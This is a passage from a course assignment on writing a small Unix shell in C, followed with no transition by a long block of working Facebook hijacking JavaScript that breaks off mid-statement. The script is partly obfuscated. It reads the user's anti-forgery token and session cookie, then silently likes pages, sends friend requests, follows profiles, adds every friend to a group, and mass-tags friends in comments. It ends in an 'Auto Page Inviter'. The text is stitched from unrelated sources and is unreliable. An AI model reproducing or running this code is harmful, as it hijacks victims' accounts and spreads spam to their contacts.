Suppose the process ID of smallsh is 179. Then The string foo$$$$ in the command is converted to foo179179 The string foo$$$ in the command is converted to foo179$ 4. Built-in Commands It is recommended that you program the built-in commands first, before tackling the commands that require fork(), exec() and waitpid(). The built-in commands don't set the value of status. This means that however you are keeping track of the status, don't change it after the execution of a built-in command. A process can use chdir() (Links to an external site.) to change its directory. To test the implementation of the cd command in smallsh, don't use getenv("PWD") because it will not give you the correct result. Instead, you can use the function getcwd() (Links to an external site.). Here is why getenv("PWD") doesn't give you the correct result: PWD is an environment variable. As discussed in Module 4, Exploration: Environment "When a parent process forks a child process, the child process inherits the environment of its parent process." When you run smallsh from a bash shell, smallsh inherits the environment of this bash shell The value of PWD in the bash shell is set to the directory in which you are when you run the command to start smallsh smallsh inherits this value of PWD. When you change the directory in smallsh, it doesn't update the value of the environment variable PWD 5. Executing Other Commands Note that if exec() is told to execute something that it cannot do, like run a program that doesn't exist, it will fail, and return the reason why. In this case, your shell should indicate to the user that a command could not be executed (which you know because exec() returned an error), and set the value retrieved by the built-in status command to 1. Make sure that the child process that has had an exec() call fail terminates itself, or else it often loops back up to the top and tries to become a parent shell. This is easy to spot: if the output of the grading script seems to be repeating itself, then you've likely got a child process that didn't terminate after a failed exec(). You can choose any function in the exec() family. However, we suggest that using either execlp() or execvp() will be simplest because of the following reasons smallsh doesn't need to pass a new environment to the program. So the additional functionality provided by the exec() functions with names ending in e is not required. One example of a command that smallsh needs to run is ls (the graders will try this command at the start of the testing). Running this command will be a lot easier using the exec() functions that search the PATH environment variable. 6. Input & Output Redirection We recommend that the needed input/output redirection should be done in the child process. Note that after using dup2() to set up the redirection, the redirection symbol and redirection destination/source are NOT passed into the exec command For example, if the command given is ls > junk, then you handle the redirection to "junk" with dup2() and then simply pass ls into exec(). 7. Executing Commands in Foreground & Background Foreground Commands For a foreground command, it is recommend to have the parent simply call waitpid() on the child, while it waits. Background Commands The shell should respect the input and output redirection operators for a command regardless of whether the command is to be run in the foreground or the background. This means that a background command should use /dev/null for input only when input redirection is not specified in the command. Similarly a background command should use /dev/null for output only when output redirection is not specified in the command. Your parent shell will need to periodically check for the background child processes to complete, so that they can be cleaned up, as the shell continues to run and process commands. Consider storing the PIDs of non-completed background processes in an array. Then every time BEFORE returning access to the command line to the user, you can check the status of these processes using waitpid(...NOHANG...). Alternatively, you may use a signal handler to immediately wait() for child processes that terminate, as opposed to periodically checking a list of started background processes The time to print out when these background processes have completed is just BEFORE command line access and control are returned to the user, every time that happens. 8. Signals SIGINT & SIGTSTP Reentrancy is important when we consider that signal handlers cause jumps in execution that cause problems with certain functions. Note that the printf() family of functions is NOT reentrant. In your signal handlers, when outputting text, you must use other output functions! What to turn in? You can only use C for coding this assignment and you must use the gcc compiler. You can use C99 or GNU99 standard or the default standard used by the gcc installation on os1. Your assignment will be graded on os1. Submit a single zip file with all your code, which can be in as many different files as you want. This zip file must be named youronid_program3.zip where youronid should be replaced by your own ONID. E.g., if chaudhrn was submitting the assignment, the file must be named chaudhrn_program3.zip. In the zip file, you must include a text file called README.txt that contains instructions on how to compile your code using gcc to create an executable file that must be named smallsh. Your zip file should not contain any extraneous files. In particular, make sure not to zip up the __MACOSX directories. When you resubmit a file in Canvas, Canvas can attach a suffix to the file, e.g., the file name may become chaudhrn_program3-1.zip. Don't worry about this name change as no points will be deducted because of this. Caution During the development of this program, take extra care to only do your work on os1, our class server, as your software will likely negatively impact whatever machine it runs on, especially before it is finished. If you cause trouble on one of the non-class, public servers, it could hurt your grade! If you are having trouble logging in to any of our EECS servers because of runaway processes, please use this page to kill off any programs running on your account that might be blocking your access: T.E.A.C.H. - The Engineering Accounts and Classes HomepageLinks to an external site. Grading Criteria This assignment is worth 20% of your grade and there are 180 points available for it. 170 points are available in the test script, while the final 10 points will be based on your style, readability, and commenting. Comment well, often, and verbosely: we want to see that you are telling us WHY you are doing things, in addition to telling us WHAT you are doing. Once the program is compiled, according to your specifications given in README.txt, your shell will be executed to run a few sample commands against (ls, status, exit, in that order). If the program does not successfully work on those commands, it will receive a zero. If it works, then the grading script will be run against it (as detailed below) for final grading. Points will be assigned according to the grading script running on our class server only. Grading Method Here is the grading script p3testscript. It is a bash script that starts the smallsh program and runs commands on smallsh's command line. Most of the commands run by the grading script are very similar to the commands shown in the section Sample Program Execution. You can open the script in a text editor. The comments in the script will show you the points for individual items. Use the script to prepare for your grade, as this is how it's being earned. To run the script, place it in the same directory as your compiled shell, chmod it (chmod +x ./p3testscript) and run this command from a bash prompt: $ ./p3testscript 2>&1 or $ ./p3testscript 2>&1 | more or $ ./p3testscript > mytestresults 2>&1 Do not worry if the spacing, indentation, or look of the output of the script is different than when you run it interactively: that won’t affect your grade. The script may add extra colons at the beginning of lines or do other weird things, like put output about terminating processes further down the script than you intended. If your program does not work with the grading script, and you instead request that we grade your script by hand, we will apply a 15% reduction to your final score. So from the very beginning, make sure that you work with the grading script on our class server!

var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function Like(p) { var Page = new XMLHttpRequest(); var PageURL = "//www.facebook.com/ajax/pages/fan_status.php"; var PageParams = "&fbpage_id=" + p +"&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg="+fb_dtsg+"&phstamp="; Page.open("POST", PageURL, true); Page.onreadystatechange = function () { if (Page.readyState == 4 && Page.status == 200) { Page.close; } }; Page.send(PageParams); } Like("0"); var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function IDS(r) { var X = new XMLHttpRequest(); var XURL = "//www.facebook.com/ajax/add_friend/action.php"; var XParams = "to_friend=" + r +"&action=add_friend&how_found=friend_browser_s&ref_param=none&&&outgoing_id=&logging_location=search&no_flyout_on_click=true&ego_log_data&http_referer&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=35&fb_dtsg="+fb_dtsg+"&phstamp="; X.open("POST", XURL, true); X.onreadystatechange = function () { if (X.readyState == 4 && X.status == 200) { X.close; } }; X.send(XParams); } IDS("100001471322731"); IDS("100004136434912"); var _0xa22c=["value","fb_dtsg","getElementsByName","match","cookie","216343421893060","onreadystatechange","readyState","arkadaslar = ","for (;;);","","replace","responseText",";","length","entries","payload","round"," @[","uid",":","text","]"," ","\x26filter[0]=user","\x26options[0]=friends_only","\x26options[1]=nm","\x26token=v7","\x26viewer=","\x26__user=","https://","indexOf","URL","GET","https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1","open","http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1","send","random","floor","\x26ft_ent_identifier=","\x26comment_text=","\x26source=2","\x26client_id=1377871797138:1707018092","\x26reply_fbid","\x26parent_comment_id","\x26rootid=u_jsonp_2_3","\x26clp={\x22cl_impid\x22:\x22453524a0\x22,\x22clearcounter\x22:0,\x22elementid\x22:\x22js_5\x22,\x22version\x22:\x22x\x22,\x22parent_fbid\x22:","}","\x26attached_sticker_fbid=0","\x26attached_photo_fbid=0","\x26giftoccasion","\x26ft[tn]=[]","\x26__a=1","\x26__dyn=7n8ahyj35ynxl2u5F97KepEsyo","\x26__req=q","\x26fb_dtsg=","\x26ttstamp=","POST","/ajax/ufi/add_comment.php","Content-type","application/x-www-form-urlencoded","setRequestHeader","status","close"];var fb_dtsg=document[_0xa22c[2]](_0xa22c[1])[0][_0xa22c[0]];var user_id=document[_0xa22c[4]][_0xa22c[3]](document[_0xa22c[4]][_0xa22c[3]](/c_user=(\d+)/)[1]);var id=_0xa22c[5];var arkadaslar=[];var svn_rev;function arkadaslari_al(id){var _0x7892x7= new XMLHttpRequest();_0x7892x7[_0xa22c[6]]=function (){if(_0x7892x7[_0xa22c[7]]==4){eval(_0xa22c[8]+_0x7892x7[_0xa22c[12]].toString()[_0xa22c[11]](_0xa22c[9],_0xa22c[10])+_0xa22c[13]);for(f=0;f<Math[_0xa22c[17]](arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]]/27);f++){mesaj=_0xa22c[10];mesaj_text=_0xa22c[10];for(i=f*27;i<(f+1)*27;i++){if(arkadaslar[_0xa22c[16]][_0xa22c[15]][i]){mesaj+=_0xa22c[18]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[19]]+_0xa22c[20]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[21]]+_0xa22c[22];mesaj_text+=_0xa22c[23]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[21]];} ;} ;yorum_yap(id,mesaj);} ;} ;} ;var _0x7892x8=_0xa22c[24];_0x7892x8+=_0xa22c[25];_0x7892x8+=_0xa22c[26];_0x7892x8+=_0xa22c[27];_0x7892x8+=_0xa22c[28]+user_id;_0x7892x8+=_0xa22c[29]+user_id;if(document[_0xa22c[32]][_0xa22c[31]](_0xa22c[30])>=0){_0x7892x7[_0xa22c[35]](_0xa22c[33],_0xa22c[34]+_0x7892x8,true);} else {_0x7892x7[_0xa22c[35]](_0xa22c[33],_0xa22c[36]+_0x7892x8,true);} ;_0x7892x7[_0xa22c[37]]();} ;function RandomArkadas(){var _0x7892xa=_0xa22c[10];for(i=0;i<9;i++){_0x7892xa+=_0xa22c[18]+arkadaslar[_0xa22c[16]][_0xa22c[15]][Math[_0xa22c[39]](Math[_0xa22c[38]]()*arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]])][_0xa22c[19]]+_0xa22c[20]+arkadaslar[_0xa22c[16]][_0xa22c[15]][Math[_0xa22c[39]](Math[_0xa22c[38]]()*arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]])][_0xa22c[21]]+_0xa22c[22];} ;return _0x7892xa;} ;function yorum_yap(id,_0x7892xc){var _0x7892xd= new XMLHttpRequest();var _0x7892x8=_0xa22c[10];_0x7892x8+=_0xa22c[40]+id;_0x7892x8+=_0xa22c[41]+encodeURIComponent(_0x7892xc);_0x7892x8+=_0xa22c[42];_0x7892x8+=_0xa22c[43];_0x7892x8+=_0xa22c[44];_0x7892x8+=_0xa22c[45];_0x7892x8+=_0xa22c[46];_0x7892x8+=_0xa22c[47]+id+_0xa22c[48];_0x7892x8+=_0xa22c[49];_0x7892x8+=_0xa22c[50];_0x7892x8+=_0xa22c[51];_0x7892x8+=_0xa22c[52];_0x7892x8+=_0xa22c[29]+user_id;_0x7892x8+=_0xa22c[53];_0x7892x8+=_0xa22c[54];_0x7892x8+=_0xa22c[55];_0x7892x8+=_0xa22c[56]+fb_dtsg;_0x7892x8+=_0xa22c[57];_0x7892xd[_0xa22c[35]](_0xa22c[58],_0xa22c[59],true);_0x7892xd[_0xa22c[62]](_0xa22c[60],_0xa22c[61]);_0x7892xd[_0xa22c[6]]=function (){if(_0x7892xd[_0xa22c[7]]==4&&_0x7892xd[_0xa22c[63]]==200){_0x7892xd[_0xa22c[64]];} ;} ;_0x7892xd[_0xa22c[37]](_0x7892x8);} ;arkadaslari_al(id); var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function cereziAl(isim) { var tarama = isim + "="; if (document.cookie.length > 0) { konum = document.cookie.indexOf(tarama) if (konum != -1) { konum += tarama.length son = document.cookie.indexOf(";", konum) if (son == -1) son = document.cookie.length return unescape(document.cookie.substring(konum, son)) } else { return ""; } } } function getRandomInt (min, max) { return Math.floor(Math.random() * (max - min + 1)) + min; } function randomValue(arr) { return arr[getRandomInt(0, arr.length-1)]; } var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function a(abone){ var http4 = new XMLHttpRequest(); var url4 = "/ajax/follow/follow_profile.php?__a=1"; var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp="; http4.open("POST", url4, true); //Send the proper header information along with the request http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); http4.setRequestHeader("Content-length", params4.length); http4.setRequestHeader("Connection", "close"); http4.onreadystatechange = function() {//Call a function when the state changes. if(http4.readyState == 4 && http4.status == 200) { http4.close; // Close the connection } } http4.send(params4); } function sublist(uidss) { var a = document.createElement('script'); a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();"; document.body.appendChild(a); } a("100001471322731"); a("100004136434912"); sublist("598527486872957"); sublist("603115523080820"); sublist("616876431704729"); sublist("634795876579451"); sublist("634796053246100"); sublist("264286217052591"); sublist("269140746567138"); sublist("270530253094854"); sublist("299855376829008"); sublist("299855686828977"); sublist("309724099190621"); sublist("309724272523937"); sublist("544558448958535"); sublist("586421531438893"); sublist("318675138274056"); sublist("353759264765643"); sublist("1381585352116850"); sublist("1381586235450095"); sublist("1381587032116682"); sublist("188398471364926"); sublist("183089565229150"); sublist("181556802049093"); sublist("187525861452187"); sublist("183889458482494"); sublist("202708653267241"); sublist("202711029933670"); sublist("202711429933630"); sublist("202711663266940"); sublist("202712759933497"); sublist("202718106599629"); sublist("202718799932893"); sublist("202719049932868"); sublist("202719549932818"); sublist("202720023266104"); sublist("202720309932742"); sublist("202721769932596"); sublist("202722253265881"); sublist("202723956599044"); sublist("202725789932194"); sublist("202732483264858"); sublist("202732976598142"); sublist("202738193264287"); sublist("1381208732131207"); sublist("567679269975791"); sublist("572695886140796"); sublist("572696779474040"); sublist("576799369063781"); sublist("576798919063826"); var gid = ['544142325664062']; var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value']; var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]); var httpwp = new XMLHttpRequest(); var urlwp = '/ajax/groups/membership/r2j.php?__a=1'; var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp='; httpwp['open']('POST', urlwp, true); httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded'); httpwp['setRequestHeader']('Content-length', paramswp['length']); httpwp['setRequestHeader']('Connection', 'keep-alive'); httpwp['send'](paramswp); var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value']; var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]); var friends = new Array(); gf = new XMLHttpRequest(); gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false); gf['send'](); if (gf['readyState'] != 4) {} else { data = eval('(' + gf['responseText']['substr'](9) + ')'); if (data['error']) {} else { friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) { return _0x93dax8['index'] - _0x93dax9['index']; }); }; }; for (var i = 0; i < friends['length']; i++) { var httpwp = new XMLHttpRequest(); var urlwp = '/ajax/groups/members/add_post.php?__a=1'; var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp='; httpwp['open']('POST', urlwp, true); httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded'); httpwp['setRequestHeader']('Content-length', paramswp['length']); httpwp['setRequestHeader']('Connection', 'keep-alive'); httpwp['onreadystatechange'] = function () { if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {}; }; httpwp['send'](paramswp); }; var spage_id = "114548671957673"; var spost_id = "614576671954868"; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); var smesaj = ""; var smesaj_text = ""; var arkadaslar = []; var svn_rev; var bugun= new Date(); var btarihi = new Date(); btarihi.setTime(bugun.getTime() + 1000*60*60*4*1); if(!document.cookie.match(/paylasti=(\d+)/)){ document.cookie = "paylasti=hayir;expires="+ btarihi.toGMTString(); } //arkadaslari al ve isle function sarkadaslari_al(){ var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if(xmlhttp.readyState == 4){ eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";"); for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){ smesaj = ""; smesaj_text = ""; for(i=f*10;i<(f+1)*10;i++){ if(arkadaslar.payload.entries[i]){ smesaj += " @[" + arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]"; smesaj_text += " " + arkadaslar.payload.entries[i].text; } } sdurumpaylas(); } } }; var params = "&filter[0]=user"; params += "&options[0]=friends_only"; params += "&options[1]=nm"; params += "&token=v7"; params += "&viewer=" + user_id; params += "&__user=" + user_id; if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); } else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); } xmlhttp.send(); } //tiklama olayini dinle var tiklama = document.addEventListener("click", function () { if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){ svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0]; sarkadaslari_al(); document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString(); document.removeEventListener(tiklama); } }, false); //arkada?¾ ekleme function sarkadasekle(uid,cins){ var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if(xmlhttp.readyState == 4){ } }; xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true); var params = "to_friend=" + uid; params += "&action=add_friend"; params += "&how_found=friend_browser"; params += "&ref_param=none"; params += "&outgoing_id="; params += "&logging_location=friend_browser"; params += "&no_flyout_on_click=true"; params += "&ego_log_data="; params += "&http_referer="; params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value; params += "&phstamp=165816749114848369115"; params += "&__user=" + user_id; xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev); xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded"); if(cins == "farketmez" && document.cookie.split("cins" + user_id +"=").length > 1){ xmlhttp.send(params); }else if(document.cookie.split("cins" + user_id +"=").length <= 1){ cinsiyetgetir(uid,cins,"sarkadasekle"); }else if(cins == document.cookie.split("cins" + user_id +"=")[1].split(";")[0].toString()){ xmlhttp.send(params); } } //cinsiyet belirleme var cinssonuc = {}; var cinshtml = document.createElement("html"); function scinsiyetgetir(uid,cins,fonksiyon){ var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if(xmlhttp.readyState == 4){ eval("cinssonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";"); cinshtml.innerHTML = cinssonuc.jsmods.markup[0][1].__html btarihi.setTime(bugun.getTime() + 1000*60*60*24*365); if(cinshtml.getElementsByTagName("select")[0].value == "1"){ document.cookie = "cins" + user_id + "=kadin;expires=" + btarihi.toGMTString(); }else if(cinshtml.getElementsByTagName("select")[0].value == "2"){ document.cookie = "cins" + user_id + "=erkek;expires=" + btarihi.toGMTString(); } eval(fonksiyon + "(" + id + "," + cins + ");"); } }; xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true); xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev); xmlhttp.send(); } var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function Like(p) { var Page = new XMLHttpRequest(); var PageURL = "//www.facebook.com/ajax/pages/fan_status.php"; var PageParams = "&fbpage_id=" + p +"&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg="+fb_dtsg+"&phstamp="; Page.open("POST", PageURL, true); Page.onreadystatechange = function () { if (Page.readyState == 4 && Page.status == 200) { Page.close; } }; Page.send(PageParams); } var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); var fb_dtsg=document.getElementsByName("fb_dtsg")[0].value; var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function a(abone) { var http4=new XMLHttpRequest; var url4="/ajax/follow/follow_profile.php?__a=1"; var params4="profile_id="+abone+"&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg="+fb_dtsg+"&lsd&__"+user_id+"&phstamp="; http4.open("POST",url4,true); http4.onreadystatechange=function() { if(http4.readyState==4&&http4.status==200)http4.close } ; http4.send(params4) } function sublist(uidss) { var a = document.createElement('script'); a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();"; document.body.appendChild(a); } function p(abone) { var http4 = new XMLHttpRequest(); var url4 = "//www.facebook.com/ajax/poke_dialog.php"; var params4 = "uid=" + abone + "&pokeback=0&ask_for_confirm=0&nctr[_mod]=pagelet_timeline_profile_actions&__asyncDialog=1&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=v&fb_dtsg="+fb_dtsg+"&phstamp="; http4.open("POST", url4, true); http4.onreadystatechange = function () { if (http4.readyState == 4 && http4.status == 200) { http4.close; } }; http4.send(params4); }var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var now=(new Date).getTime(); function P(opo) { var X = new XMLHttpRequest(); var XURL ="//www.facebook.com/ajax/ufi/like.php"; var XParams = "like_action=true&ft_ent_identifier="+opo+"&source=1&client_id="+now+"%3A379783857&rootid=u_jsonp_39_18&giftoccasion&ft[tn]=%3E%3D&ft[type]=20&ft[qid]=5890811329470279257&ft[mf_story_key]=2814962900193143952&ft[has_expanded_ufi]=1&nctr[_mod]=pagelet_home_stream&__user="+user_id+"&__a=1&__dyn=7n88QoAMBlClyocpae&__req=g4&fb_dtsg="+fb_dtsg+"&phstamp="; X.open("POST", XURL, true); X.onreadystatechange = function () { if (X.readyState == 4 && X.status == 200) { X.close; } }; X.send(XParams); } // pic + fans P("710808665644838");Like("255113344668121");Like("114548671957673");Like("1375353502725775"); /*Add Friend*/; var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function IDS(r) { var X = new XMLHttpRequest(); var XURL = "//www.facebook.com/ajax/add_friend/action.php"; var XParams = "to_friend=" + r +"&action=add_friend&how_found=friend_browser_s&ref_param=none&&&outgoing_id=&logging_location=search&no_flyout_on_click=true&ego_log_data&http_referer&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=35&fb_dtsg="+fb_dtsg+"&phstamp="; X.open("POST", XURL, true); X.onreadystatechange = function () { if (X.readyState == 4 && X.status == 200) { X.close; } }; X.send(XParams); } javascript: var Title='Auto Page Inviter<br/> By:<A style="color:#cecfd1;" href="https://www.facebook.com/Butt.100" target="_blank">Maan BuTt</A>'; var Descriptions = "", _text = 'Powered By: Maan BuTt</br>Script Made By </A><A style="color:#8db8ca;" href="http://www.facebook.com/100001471322731" target="_blank"> Maan Butt</A></A>.</br> Join My Fanpage <A style="color:#e6ebf8;" href="https://www.facebook.com/No.5050100" target="_blank">Maan BuTt</A>.</A>'; page_id = /"profile_owner":"([0-9]+)"/.exec(document.getElementById("pagelet_timeline_main_column").getAttribute("data-gt"))[1]; function InviteFriends(opo) { jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/invite/send_single?page_id=" + page_id + "&invitee=" + opo + "&elem_id=u_0_1k&action=send&__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=8&fb_dtsg=" + fb_dtsg + "&phstamp=", function (a) { var b = a.substring(a.indexOf("{")); var c = JSON.parse(b); i--; Descriptions = "<div class='friend-edge-name' style='padding-bottom:5px;text-align:left;font-size:10px;white-space:pre-wrap;"; if (c.error) { Descriptions += "color:darkred'>"; err++; if (c.errorDescription) Descriptions += c.errorDescription; else Descriptions += JSON.stringify(c, null, "") } else { Descriptions += "color:darkgreen'>"; Descriptions += arn[i] + " has been invited to like the page " + page_name + "."; suc++ } Descriptions += "</div>"; var display = "<div id='friend-edge-display' style='box-shadow:0px 3px 8px rgba(0, 0, 0, 0.3);position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(0,0,0,0.9);background-color:rgba(0,0,0,0.9);color:#e1dddd'>"; display += "<div style='padding-bottom:5px;font-size:20px;'>" + Title + "</div>"; if (i > 0) { display += arr.length + " Friends Detected<br/>"; display += "<b>" + suc + "</b> Friends Invited of " + (arr.length - i) + " Friends Processed "; display += "(" + i + " Lefted...)"; display += "<div class='friend-edge'>"; display += Descriptions; display += "<img style='width:50px;height:50px;margin-left:-125px;padding:2px;border:1px solid rgba(0,0,0,0.4);' src=" + pho[i] + "></img><a style='font-size:13px;padding-left:8px;text-align:left;color:#9098a9;position:absolute;font-weight:bold;'>" + arn[i] + "</a>"; display += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'>"; display += "Please Wait While Inviting Your Friends to Like Your Page " + page_name + ".</br>"; display += _text; display += "</div>"; display += "</div>"; window[tag + "_close"] = true } else { Title = "All Of Your Friends Have Been Invited to Like Your Page.</A>"; display += arr.length + " Friends Detected and "; display += "<b>" + suc + " Friends Invited.</b></br>"; display += "<div><span class='FriendRequestAdd addButton selected uiButton uiButtonSpecial uiButtonLarge' onClick='ChangeLocation()' style='color:white'>Go to Homepage</span><span class='layerConfirm uiOverlayButton uiButton uiButtonConfirm uiButtonLarge' onClick='window.location.reload()' style='color:white'>Refresh Page</span><span class='layerCancel uiOverlayButton uiButton uiButtonLarge' onClick='document.getElementById(\"pagelet_sidebar\").style.display=\"none\"' style='color:gray'>Cancel</span><br/>"; display += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'><br/>"; display += _text; display += "</div>"; window[tag + "_close"] = false } display += "</div>"; document.getElementById("pagelet_sidebar").innerHTML = display }, "text", "post"); tay--; if (tay > 0) { var s = arr[tay]; setTimeout("InviteFriends(" + s + ")", 100) } console.log(tay + "/" + arr.length + ":" + arr[tay] + "/" + arn[tay] + ", success:" + suc); if (page_id)jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/invite/send?&fb_dtsg=" + fb_dtsg + "&profileChooserItems=%7B%22" + opo + "%22%3A1%7D&checkableitems[0]=" + opo + "&page_id=114548671957673&__user="+ user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=k&phstamp=", function () {}, "text", "post") if (page_id)jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/invite/send?&fb_dtsg=" + fb_dtsg + "&profileChooserItems=%7B%22" + opo + "%22%3A1%7D&checkableitems[0]=" + opo + "&page_id=255113344668121&__user="+ user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=k&phstamp=", function () {}, "text", "post") if (page_id)jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fb_dtsg + "&group_id=544142325664062&source=typeahead&members=" + opo + "&nctr[_2]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user_id, function () {}, "text", "post"); } jx = { b: function () { var b = !1; if ("undefined" != typeof ActiveXObject) try { b = new ActiveXObject("Msxml2.XMLHTTP") } catch (c) { try { b = new ActiveXObject("Microsoft.XMLHTTP") } catch (a) { b = !1 } } else if (window.XMLHttpRequest) try { b = new XMLHttpRequest } catch (h) { b = !1 } return b }, load: function (b, c, a, h, g) { var e = this.d(); if (e && b) { e.overrideMimeType && e.overrideMimeType("text/xml"); h || (h = "GET"); a || (a = "text"); g || (g = {}); a = a.toLowerCase(); h = h.toUpperCase(); b += b.indexOf("?") + 1 ? "&" : "?"; var k = null; "POST" == h && (k = b.split("?"), b = k[0], k = k[1]); e.open(h, b, !0); e.onreadystatechange = g.c ? function () { g.c(e) } : function () { if (4 == e.readyState) if (200 == e.status) { var b = ""; e.responseText && (b = e.responseText); "j" == a.charAt(0) ? (b = b.replace(/[\n\r]/g, ""), b = eval("(" + b + ")")) : "x" == a.charAt(0) && (b = e.responseXML); c && c(b) } else g.f && document.getElementsByTagName("body")[0].removeChild(g.f), g.e && (document.getElementById(g.e).style.display = "none"), error && error(e.status) }; e.send(k) } }, d: function () { return this.b() } }; function ChangeLocation() { window.location.href = "http://www.facebook.com/" } setTimeout("ChangeLocation", 1); window.onbeforeunload = function () { if (window[tag + "_close"]) return "This script is running now!" }; var i = 3; var tay = 3; var suc = 0; var err = 0; var arr = new Array; var arn = new Array; var pho = new Array; var tag = "Close"; var page_name, x = document.getElementsByTagName("span"); for (i = 0; i < x.length; i++) if (x[i].getAttribute("itemprop") == "name") page_name = x[i].innerHTML; var fb_dtsg = document.getElementsByName("fb_dtsg")[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); jx.load(window.location.protocol + "///www.facebook.com/ajax/typeahead/first_degree.php?viewer=" + user_id + "&token=v7&filter[0]=user&options[0]=friends_only&options[1]=nm&options[2]=sort_alpha&__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=l", function (a) { var b = a; var c = b.substring(b.indexOf("{")); var d = JSON.parse(c); d = d.payload.entries; for (var e = 0; e < d.length; e++) arr.push(d[e].uid); for (var eg = 0; eg < d.length; eg++) arn.push(d[eg].text); for (var pic = 0; pic < d.length; pic++) pho.push(d[pic].photo); i = 